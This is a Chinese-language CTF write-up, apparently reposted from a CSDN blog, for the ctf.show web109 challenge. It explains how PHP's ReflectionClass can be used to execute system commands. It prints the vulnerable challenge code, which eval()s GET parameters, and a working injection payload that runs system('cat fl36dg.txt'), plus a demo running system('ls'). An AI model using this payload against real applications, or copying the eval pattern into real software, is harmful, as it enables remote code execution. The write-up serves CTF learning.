ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

CTF技巧_Web——PHP特性_使用反射类ReflectionClass执行命令

2020-11-25 09:03:33  阅读:595  来源: 互联网

标签:Web ReflectionClass 反射 v2 v1 CTF fuc PHP


文章目录

一、简述

ReflectionClass反射类在PHP5新加入,它可以与已定义的类建立映射关系,通过反射类可以对类操作

//定义一个类
class fuc{
static
function methond(){
	echo 'Hello World!';
	}
}
//建立fuc类的反射类
$rc = new ReflectionClass('fuc');
//通过反射类实例化fuc类
$fuc = $rc->newInstance();
//执行类方法
$fuc->method();

反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令

二、PHP源码

题目来源:ctf.show——web入门_web109

<?php 

/* 
# -*- coding: utf-8 -*- 
# @Author: h1xa 
# @Date:   2020-09-16 11:25:09 
# @Last Modified by:   h1xa 
# @Last Modified time: 2020-09-29 22:02:34 

*/ 


highlight_file(__FILE__); 
error_reporting(0); 
if(isset($_GET['v1']) && isset($_GET['v2'])){ 
    $v1 = $_GET['v1']; 
    $v2 = $_GET['v2']; 

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ 
            eval("echo new $v1($v2());"); 
    } 

} 

?> 

三、方法及原理

已知了flag在./fl36dg.txt,命令执行system(‘cat fl36dg.txt’)获取flag,这里可以使用反射类new ReflectionClass()

payload:?v1=ReflectionClass&v2=system('cat fl36dg.txt')

当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示
即使传入了空的括号,代码依旧可以运行,且error_reporting(0)的存在阻止了报错

<?php
	error_reporting(0);
	echo new ReflectionClass(system('ls')());
?>

>>index.php

标签:Web,ReflectionClass,反射,v2,v1,CTF,fuc,PHP
来源: https://blog.csdn.net/Xxy605/article/details/110109147

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有